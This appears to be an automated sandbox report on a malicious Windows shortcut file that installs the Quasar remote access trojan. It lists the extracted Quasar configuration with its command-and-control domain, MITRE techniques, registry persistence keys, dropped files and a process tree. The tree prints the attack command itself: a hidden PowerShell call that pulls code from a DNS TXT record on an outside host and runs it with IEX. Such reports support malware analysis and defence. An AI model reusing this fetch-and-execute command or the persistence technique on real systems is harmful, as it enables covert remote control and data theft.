quasar | 9dd34887a7aa11ba28a8e63d484274110ab40a6ad7035f8ff93c19c12ec66542

Analysis

max time kernel
144s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
18-12-2024 22:05

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

alyemenione.lnk
Size

2KB
MD5

12ca834e507ca967d01911cec7454312
SHA1

2d43271a7ec861f87da9bdeced53bd9bb20986ff
SHA256

9dd34887a7aa11ba28a8e63d484274110ab40a6ad7035f8ff93c19c12ec66542
SHA512

b3033aab1d18a50957e698bf0dbdaa3e8245f1a74bc7129b486d1ee2f0c5164998603616b48cc67fd4e8cca7bcc40c36ca51e7a5ccf6c54fe02277615c9de4fa

Score

10^/10

quasar p1 discovery execution persistence spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

cdn-streaming.com:80

Mutex

65768f90-1bce-4e20-baef-7e1bf22954c2

Attributes

encryption_key
63161500A624B0A692FDDA0CDFB535E14955CE8F
install_name
Client.exe
log_directory
Logs
reconnect_delay
5000
startup_key
Quasar Client Startup
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/1428-958-0x000002185C9D0000-0x000002185CCEE000-memory.dmp	family_quasar

Blocklisted process makes network request 1 IoCs

flow	pid	Process
12	2644	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2644	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
1428	IESettingSync.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OutlookUpdater_2082901691 = "\"C:\\Windows\\Tasks\\IESettingSync.exe\" c3d28763-592c-4993-bce9-2041396a1a65"	powershell.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\62rgx9T9MW.pdf	powershell.exe
File created	C:\Windows\Tasks\c3d28763-592c-4993-bce9-2041396a1a65	powershell.exe
File created	C:\Windows\Tasks\IESettingSync.exe	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AcroRd32.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
2644	powershell.exe
2644	powershell.exe
2388	AcroRd32.exe
2388	AcroRd32.exe
2388	AcroRd32.exe
2388	AcroRd32.exe
2388	AcroRd32.exe
2388	AcroRd32.exe
2388	AcroRd32.exe
2388	AcroRd32.exe
2388	AcroRd32.exe
2388	AcroRd32.exe
2388	AcroRd32.exe
2388	AcroRd32.exe
2388	AcroRd32.exe
2388	AcroRd32.exe
2388	AcroRd32.exe
2388	AcroRd32.exe
2388	AcroRd32.exe
2388	AcroRd32.exe
2388	AcroRd32.exe
2388	AcroRd32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2644	powershell.exe
Token: SeDebugPrivilege	1428	IESettingSync.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
2388	AcroRd32.exe
2388	AcroRd32.exe
2388	AcroRd32.exe
2388	AcroRd32.exe
2388	AcroRd32.exe
2388	AcroRd32.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1868 wrote to memory of 908	1868	cmd.exe	83
PID 1868 wrote to memory of 908	1868	cmd.exe	83
PID 908 wrote to memory of 2644	908	wscript.exe	84
PID 908 wrote to memory of 2644	908	wscript.exe	84
PID 2644 wrote to memory of 3360	2644	powershell.exe	86
PID 2644 wrote to memory of 3360	2644	powershell.exe	86
PID 3360 wrote to memory of 2388	3360	cmd.exe	87
PID 3360 wrote to memory of 2388	3360	cmd.exe	87
PID 3360 wrote to memory of 2388	3360	cmd.exe	87
PID 2644 wrote to memory of 1428	2644	powershell.exe	89
PID 2644 wrote to memory of 1428	2644	powershell.exe	89
PID 2388 wrote to memory of 5012	2388	AcroRd32.exe	90
PID 2388 wrote to memory of 5012	2388	AcroRd32.exe	90
PID 2388 wrote to memory of 5012	2388	AcroRd32.exe	90
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 4928	5012	RdrCEF.exe	91
PID 5012 wrote to memory of 5036	5012	RdrCEF.exe	92
PID 5012 wrote to memory of 5036	5012	RdrCEF.exe	92
PID 5012 wrote to memory of 5036	5012	RdrCEF.exe	92
PID 5012 wrote to memory of 5036	5012	RdrCEF.exe	92
PID 5012 wrote to memory of 5036	5012	RdrCEF.exe	92
PID 5012 wrote to memory of 5036	5012	RdrCEF.exe	92
PID 5012 wrote to memory of 5036	5012	RdrCEF.exe	92
PID 5012 wrote to memory of 5036	5012	RdrCEF.exe	92
PID 5012 wrote to memory of 5036	5012	RdrCEF.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\alyemenione.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1868
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Windows\System32\SyncAppvPublishingServer.vbs "n;(Resolve-DnsName -Name ebtxghggfv.cdn-streaming.com -Type TXT).Strings | IEX"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:908
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -WindowStyle Hidden -ExecutionPolicy RemoteSigned -Command &{$env:psmodulepath = [IO.Directory]::GetCurrentDirectory(); import-module AppvClient; Sync-AppvPublishingServer n;(Resolve-DnsName -Name ebtxghggfv.cdn-streaming.com -Type TXT).Strings | IEX}
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Adds Run key to start application
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2644
  - - C:\Windows\System32\cmd.exe
      "cmd.exe" /c start "" "C:\Windows\Tasks\62rgx9T9MW.pdf"
      4⤵
      Checks computer location settings
      Modifies registry class
      Suspicious use of WriteProcessMemory
      PID:3360
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Windows\Tasks\62rgx9T9MW.pdf"
        5⤵
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Modifies Internet Explorer settings
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:2388
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5012
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=F33A610400EB45803C988FAE4B48C8F0 --mojo-platform-channel-handle=1724 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4928
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=FE20432A7605CAB0DDA9C4748230B95F --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=FE20432A7605CAB0DDA9C4748230B95F --renderer-client-id=2 --mojo-platform-channel-handle=1732 --allow-no-sandbox-job /prefetch:1
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5036
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=95EABF72A38B005B96C749A983499020 --mojo-platform-channel-handle=2292 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1088
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=0366283D18567FFA0AD0FF776C4835DB --mojo-platform-channel-handle=1848 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:728
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=87B1FAA6643588826D1AFFBBC6725D01 --mojo-platform-channel-handle=1976 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:856
  - - C:\Windows\Tasks\IESettingSync.exe
      "C:\Windows\Tasks\IESettingSync.exe" c3d28763-592c-4993-bce9-2041396a1a65
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1428

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
36KB

MD5
b30d3becc8731792523d599d949e63f5

SHA1
19350257e42d7aee17fb3bf139a9d3adb330fad4

SHA256
b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3

SHA512
523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e

Download Submit
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
56KB

MD5
752a1f26b18748311b691c7d8fc20633

SHA1
c1f8e83eebc1cc1e9b88c773338eb09ff82ab862

SHA256
111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131

SHA512
a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5

Download Submit
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
64KB

MD5
5fd460843e443f1568d9a811749c3fff

SHA1
46abcd4a6d12ea9e9346462e2249c90b32f7b96c

SHA256
96635b6df5759d5f1d515e1597a8e1130e2d3d4305d8e9c0608ee86221c22aa5

SHA512
ce8cee89e1c8dfa7a631691c600dc7782ab7531d84763d237335b37b32c04a23667fe134cf87baeb6b1da1bfe3455d094536c13c3c06ba8fa5aac40d8450391f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g1e3aipl.axu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\Tasks\62rgx9T9MW.pdf

Filesize
4KB

MD5
91838f714b56205ceca4956b9787bb46

SHA1
e3c930555a49bedfb5b294b7d29190deede137bf

SHA256
e618b899a3c8c8de6ab682c1a5b56112dc9e84bd81a8cd13339dcc08ab7d4b35

SHA512
fbe988f551400e693677f4e08b31dc6fe15395678813ea0b89686a9fffd4e8fcde0cecedb685f1654e8a482e5eb013afe253f4379db92ccd74d4a702f4e30a1c

Download Submit
C:\Windows\Tasks\IESettingSync.exe

Filesize
1.0MB

MD5
8fa52f316c393496f272357191db6deb

SHA1
b1ff3d48a3946ca7786a84e4a832617cd66fa3b9

SHA256
92c6531a09180fae8b2aae7384b4cea9986762f0c271b35da09b4d0e733f9f45

SHA512
c81da97d6980d6a5aa612070477950a1386239bb919e762f7870bccd459a03da48f8f169910b91f3827c6cfef50471569c9e0c9ff2ceb897904d81840c087d51

Download Submit
C:\Windows\Tasks\c3d28763-592c-4993-bce9-2041396a1a65

Filesize
3.1MB

MD5
1c262bdcbc598e4b63a07d4fecd8c9ec

SHA1
5824faed32fe831c5e529d2bfaf12b28db242fdc

SHA256
b8253dae7c6a0eec1bf60b82ae094dbb894f68ea32481203b62a6611abe87628

SHA512
e6705faae31dbd6a13bb82b2f71e8ac99d339a181c5fab8d62de406cbbe02946f5080f2ee6c2b4bcf6444505c6f3a197c4541d201200dd719d43be4d20b5fcbb

Download Submit
memory/1428-832-0x00000000002A0000-0x00000000002B0000-memory.dmp

Filesize
64KB

Download
memory/1428-188-0x0000000000080000-0x0000000000090000-memory.dmp

Filesize
64KB

Download
memory/1428-37-0x00007FFF31DE0000-0x00007FFF31E9E000-memory.dmp

Filesize
760KB

Download
memory/1428-53-0x0000000000010000-0x0000000000020000-memory.dmp

Filesize
64KB

Download
memory/1428-574-0x00000000001A0000-0x00000000001B0000-memory.dmp

Filesize
64KB

Download
memory/1428-105-0x0000000000030000-0x0000000000040000-memory.dmp

Filesize
64KB

Download
memory/1428-124-0x0000000000040000-0x0000000000050000-memory.dmp

Filesize
64KB

Download
memory/1428-140-0x0000000000050000-0x0000000000060000-memory.dmp

Filesize
64KB

Download
memory/1428-156-0x0000000000060000-0x0000000000070000-memory.dmp

Filesize
64KB

Download
memory/1428-172-0x0000000000070000-0x0000000000080000-memory.dmp

Filesize
64KB

Download
memory/1428-590-0x00000000001B0000-0x00000000001C0000-memory.dmp

Filesize
64KB

Download
memory/1428-208-0x0000000000090000-0x00000000000A0000-memory.dmp

Filesize
64KB

Download
memory/1428-558-0x0000000000190000-0x00000000001A0000-memory.dmp

Filesize
64KB

Download
memory/1428-230-0x00000000000A0000-0x00000000000B0000-memory.dmp

Filesize
64KB

Download
memory/1428-542-0x0000000000180000-0x0000000000190000-memory.dmp

Filesize
64KB

Download
memory/1428-250-0x00000000000B0000-0x00000000000C0000-memory.dmp

Filesize
64KB

Download
memory/1428-269-0x00000000000C0000-0x00000000000D0000-memory.dmp

Filesize
64KB

Download
memory/1428-285-0x00000000000D0000-0x00000000000E0000-memory.dmp

Filesize
64KB

Download
memory/1428-301-0x00000000000E0000-0x00000000000F0000-memory.dmp

Filesize
64KB

Download
memory/1428-318-0x00000000000F0000-0x0000000000100000-memory.dmp

Filesize
64KB

Download
memory/1428-334-0x0000000000100000-0x0000000000110000-memory.dmp

Filesize
64KB

Download
memory/1428-350-0x0000000000110000-0x0000000000120000-memory.dmp

Filesize
64KB

Download
memory/1428-366-0x0000000000120000-0x0000000000130000-memory.dmp

Filesize
64KB

Download
memory/1428-382-0x0000000000130000-0x0000000000140000-memory.dmp

Filesize
64KB

Download
memory/1428-398-0x0000000000140000-0x0000000000150000-memory.dmp

Filesize
64KB

Download
memory/1428-414-0x0000000000150000-0x0000000000160000-memory.dmp

Filesize
64KB

Download
memory/1428-431-0x0000000000160000-0x0000000000170000-memory.dmp

Filesize
64KB

Download
memory/1428-89-0x0000000000020000-0x0000000000030000-memory.dmp

Filesize
64KB

Download
memory/1428-526-0x0000000000170000-0x0000000000180000-memory.dmp

Filesize
64KB

Download
memory/1428-961-0x0000021844050000-0x0000021844062000-memory.dmp

Filesize
72KB

Download
memory/1428-960-0x000002185D5A0000-0x000002185D652000-memory.dmp

Filesize
712KB

Download
memory/1428-962-0x000002185C5C0000-0x000002185C5FC000-memory.dmp

Filesize
240KB

Download
memory/1428-36-0x00007FFF33470000-0x00007FFF33665000-memory.dmp

Filesize
2.0MB

Download
memory/1428-606-0x00000000001C0000-0x00000000001D0000-memory.dmp

Filesize
64KB

Download
memory/1428-622-0x00000000001D0000-0x00000000001E0000-memory.dmp

Filesize
64KB

Download
memory/1428-638-0x00000000001E0000-0x00000000001F0000-memory.dmp

Filesize
64KB

Download
memory/1428-655-0x00000000001F0000-0x0000000000200000-memory.dmp

Filesize
64KB

Download
memory/1428-671-0x0000000000200000-0x0000000000210000-memory.dmp

Filesize
64KB

Download
memory/1428-687-0x0000000000210000-0x0000000000220000-memory.dmp

Filesize
64KB

Download
memory/1428-703-0x0000000000220000-0x0000000000230000-memory.dmp

Filesize
64KB

Download
memory/1428-719-0x0000000000230000-0x0000000000240000-memory.dmp

Filesize
64KB

Download
memory/1428-735-0x0000000000240000-0x0000000000250000-memory.dmp

Filesize
64KB

Download
memory/1428-751-0x0000000000250000-0x0000000000260000-memory.dmp

Filesize
64KB

Download
memory/1428-767-0x0000000000260000-0x0000000000270000-memory.dmp

Filesize
64KB

Download
memory/1428-784-0x0000000000270000-0x0000000000280000-memory.dmp

Filesize
64KB

Download
memory/1428-800-0x0000000000280000-0x0000000000290000-memory.dmp

Filesize
64KB

Download
memory/1428-816-0x0000000000290000-0x00000000002A0000-memory.dmp

Filesize
64KB

Download
memory/1428-35-0x0000021843940000-0x0000021843C5E000-memory.dmp

Filesize
3.1MB

Download
memory/1428-848-0x00000000002B0000-0x00000000002C0000-memory.dmp

Filesize
64KB

Download
memory/1428-864-0x00000000002C0000-0x00000000002D0000-memory.dmp

Filesize
64KB

Download
memory/1428-880-0x00000000002D0000-0x00000000002E0000-memory.dmp

Filesize
64KB

Download
memory/1428-896-0x00000000002E0000-0x00000000002F0000-memory.dmp

Filesize
64KB

Download
memory/1428-912-0x00000000002F0000-0x0000000000300000-memory.dmp

Filesize
64KB

Download
memory/1428-929-0x0000000000300000-0x0000000000310000-memory.dmp

Filesize
64KB

Download
memory/1428-945-0x0000000000310000-0x0000000000320000-memory.dmp

Filesize
64KB

Download
memory/1428-958-0x000002185C9D0000-0x000002185CCEE000-memory.dmp

Filesize
3.1MB

Download
memory/1428-959-0x000002185C570000-0x000002185C5C0000-memory.dmp

Filesize
320KB

Download
memory/2644-22-0x0000020BFF7E0000-0x0000020BFF80E000-memory.dmp

Filesize
184KB

Download
memory/2644-21-0x0000020B99290000-0x0000020B992AC000-memory.dmp

Filesize
112KB

Download
memory/2644-0-0x0000020BFF7B0000-0x0000020BFF7D2000-memory.dmp

Filesize
136KB

Download
memory/2644-19-0x0000020B991B0000-0x0000020B99265000-memory.dmp

Filesize
724KB

Download
memory/2644-20-0x00007FFF1A740000-0x00007FFF1A7F5000-memory.dmp

Filesize
724KB

Download
memory/2644-23-0x0000020BFDC70000-0x0000020BFDC80000-memory.dmp

Filesize
64KB

Download
memory/2644-24-0x0000020BFF810000-0x0000020BFF82A000-memory.dmp

Filesize
104KB

Download